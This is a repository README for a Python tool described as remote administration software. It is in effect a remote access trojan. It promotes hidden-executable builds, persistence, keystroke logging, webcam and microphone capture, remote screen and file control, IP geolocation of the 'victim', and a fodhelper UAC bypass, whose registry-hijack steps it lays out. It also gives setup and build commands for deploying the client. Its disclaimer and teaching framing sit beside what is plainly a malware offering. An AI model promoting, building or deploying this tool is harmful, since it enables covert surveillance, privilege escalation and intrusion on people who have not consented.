🚀 Professional TCP-based remote administration tool with enterprise-grade features
Features • Installation • Usage • 📖 Complete Guide • Documentation
A powerful and lightweight Python-based remote administration tool that enables seamless command execution across multiple client machines through a centralized server. Built with modern architecture and professional UI design.
📖 New to this tool? Check out our Complete Usage Guide for step-by-step instructions!
|
|
| Feature | Description | Status |
|---|---|---|
| 🔌 | TCP Communication - Reliable client-server architecture | ✅ |
| 👥 | Multi-Client Support - Manage multiple machines simultaneously | ✅ |
| 💻 | Modular Architecture - Thread-safe, multi-file codebase | ✅ |
| 📸 | 4K Screenshots - High-quality screen capture with dynamic compression | ✅ |
| 📷 | Webcam Capture - Real-time webcam snapshot directly to GUI | ✅ |
| 📁 | Visual File Manager - Browse, read, edit, delete remote files with GUI | ✅ |
| 📥📤 | File Transfer - Upload/download with progress tracking (50MB) | ✅ |
| 💬 | Multi-Style Popups - INFO / WARNING / ERROR / CYBER / OVERRIDE | ✅ |
| 🖥️ | Live Screen Monitor - Real-time remote desktop with full mouse & keyboard control | ✅ |
| 🖱️ | Full Mouse Control - Click, scroll, drag-drop, move on remote screen | ✅ |
| ⌨️ | Hotkey Support - Ctrl+C/V/Z/A/X/S/W/T/R forwarded to remote | ✅ |
| 🎯 | OS-Specific Commands - Smart buttons that adapt to Windows/Linux/Mac | ✅ |
| 🛡️ | Anti-Scanner Protection - Ghost connection rejection | ✅ |
| 🎤 | Live Microphone Streaming - Toggle start/stop with auto MP3 save | ✅ |
| ⌨️ | Live Keylog Streaming - Real-time keystroke capture with toggle | ✅ |
| 🎯 | Remote Task Manager - View and kill processes on client | ✅ |
| 📊 | Live Performance Dashboard - Real-time CPU, RAM, Disk monitor | ✅ |
| 🗺️ | GeoLocation Tracker - IP-based location with Google Maps link | ✅ |
| 👑 | Privilege Inspector - Token integrity level + UAC status display | ✅ |
| 🔥 | UAC Bypass - fodhelper.exe method for privilege escalation | ✅ |
| 📢 | Voice Broadcast - Stream server microphone to client in real-time or speak via TTS | ✅ |
💡 Platform Note: On Windows use
python, on Linux/macOS usepython3.
# 1️⃣ Clone the repository
git clone https://github.com/palnirupam/Remote-admin-tool.git
cd Remote-admin-tool
# 2️⃣ Install dependencies
pip install -r requirements.txt # Windows
# pip3 install -r requirements.txt # Linux / macOS
# 3️⃣ Configure client IP in client.py
# Edit SERVER_IP = "your_server_ip"📝 Click to expand configuration steps
- Open
client.pyin your editor - Locate the configuration section:
SERVER_IP = "127.0.0.1" # 👈 Change this PORT = 5000
- Update with your server's IP:
- Local testing:
127.0.0.1 - Same network:
192.168.x.x - Remote: Your public IP
- Local testing:
Compile client.py into a standalone hidden executable — no Python needed on the target machine.
python advanced_build.py # Windows
# python3 advanced_build.py # Linux / macOS- Completely FREE (no accounts, cards, or passwords required)
- Automatically downloads and configures the
boretunnel - Injects public IP and Port → compiles
ClientRAT_Global.exe - Your original
client.pystays safely configured for localhost!
🎯 IMPORTANT: Final executable will be in the
distfolder!
# Start GUI server
python server_gui.py # Windows
# python3 server_gui.py # Linux / macOS
# On client machine(s)
python client.py # Windows
# python3 client.py # Linux / macOSClick "🗺️ GeoLocation" after selecting a client:
- 🌍 Country, Region, City, ZIP
- 📍 GPS Coordinates (clickable → Google Maps)
- 📡 ISP & Organization name
- 🔒 Proxy / VPN / Datacenter detection
- 📶 Mobile data detection
- 🕐 Timezone
Auto-detects public IP for LAN/localhost clients via
api.ipify.org.
Click "👑 Privilege" after selecting a client:
┌──────────────────────────────────────────────┐
│ 👑 PRIVILEGE INSPECTOR 🟡 MEDIUM │
├──────────────────────────────────────────────┤
│ 👤 Username victim │
│ 🛡️ Admin Group Yes ✅ │
│ 🔒 UAC Enabled Yes (ON) │
│ 🔑 Integrity 🟡 Medium │
│ ⚡ Elevated No — MEDIUM token ⚠️ │
├──────────────────────────────────────────────┤
│ [🔥 Execute UAC Bypass (fodhelper)] │
└──────────────────────────────────────────────┘
UAC Bypass flow:
- Writes payload to
HKCU\Software\Classes\ms-settings\shell\open\command - Triggers
fodhelper.exe(Windows auto-elevated binary) - Client relaunches as HIGH integrity — no UAC prompt
- New elevated connection appears in client list
Integrity levels:
| Badge | Level | Meaning |
|---|---|---|
| 🔴 | Low | Sandbox / restricted |
| 🟡 | Medium | Standard user (UAC blocking) |
| 🟢 | High | Admin — full access |
| 🔵 | System | NT AUTHORITY\SYSTEM |
| Action | How |
|---|---|
| Left/Right/Middle click | Mouse button on screen |
| Scroll up/down | Mouse wheel |
| Drag & Drop | Click-hold-move |
| Hotkeys | Ctrl+C/V/Z/A/X/S/W/T/R |
- Browse entire remote filesystem with GUI tree
- Double-click folders to navigate
- Right-click files: Download / Edit / Delete
- Built-in text editor with syntax support
- Supports both Windows and Linux paths
SCREENSHOT # Terminal command or click 📸 button- 🎨 Adaptive quality (4K/2K/HD)
- 💾 Auto-save to
screenshots/folder - 🔍 View at 100% original size
MIC_START # Start recording
MIC_STOP # Stop & save as WAV/MP3
KEYLOG_START # Start live keystroke stream
KEYLOG_STOP # Stop keylog❌ Connection Failed
- ✅ Verify server is running
- ✅ Check
SERVER_IPin client.py - ✅ Ensure firewall allows port 5000
- ✅ Test with
ping <server_ip>
❌ Port Already in Use
Windows:
netstat -ano | findstr :5000
taskkill /PID <process_id> /FLinux:
lsof -i :5000
kill -9 <process_id>❌ GeoLocation Shows Wrong Location
- If client is behind VPN/Proxy, location will reflect VPN server, not real location
- LAN clients auto-lookup public IP via
api.ipify.org 127.0.0.1→ automatically resolved to machine's real public IP
❌ UAC Bypass Not Working
- ✅ Client must be on Windows
- ✅ User must be a member of the Administrators group
- ✅ UAC must be enabled (if UAC is off, bypass not needed anyway)
- ❌ If
is_admin: false→ user is a standard user, bypass impossible
THE AUTHOR IS NOT RESPONSIBLE FOR ANY MISUSE OR DAMAGE CAUSED BY THIS SOFTWARE.
By using this tool, you agree to:
- Use it only on systems you own or have explicit written permission to access
- Not use it for any illegal, malicious, or unauthorized purposes
- Accept full responsibility for your actions
- Understand that the author bears NO LIABILITY for consequences of use
Use responsibly and ethically. Always obtain proper authorization!
📦 Remote-admin-tool
┣ 📜 server_gui.py # Professional GUI server (Main Entry)
┣ 📜 server.py # CLI server with advanced logging
┣ 📜 gui_globals.py # Shared global state & thread-safe logging
┣ 📜 gui_network.py # Multi-client TCP listener & socket manager
┣ 📜 gui_commands.py # Command execution, response routing & handlers
┣ 📜 gui_features.py # Screenshot, webcam, mic, keylog, file manager,
┃ # screen monitor, geolocation, privilege UI
┣ 📜 client.py # Smart client — auto-reconnect, all handlers,
┃ # privilege info, UAC bypass, persistence
┣ 📜 advanced_build.py # Auto-tunneling & .exe/binary compiler
┣ 📜 requirements.txt # Python dependencies
┣ 📜 .gitignore # Git ignore rules
┣ 📜 README.md # This file
┗ 📖 USAGE_GUIDE.md # Complete step-by-step guide
Perfect for learning:
- 🔌 TCP socket programming & multi-client architecture
- 🧵 Multi-threading and concurrency
- 🎨 Tkinter GUI development
- 🔐 Windows security — UAC, token integrity, privilege escalation
- 🌐 IP intelligence & OSINT (GeoLocation, ISP, proxy detection)
- 📁 File encoding, transfer, and remote filesystem navigation
- 🔧 Process management & system control
Contributions are welcome!
How to contribute:
- 🍴 Fork the repository
- 🌿 Create feature branch:
git checkout -b feature/AmazingFeature - 💾 Commit changes:
git commit -m 'Add AmazingFeature' - 📤 Push to branch:
git push origin feature/AmazingFeature - 🔃 Open a Pull Request
Made with ❤️ for the cybersecurity community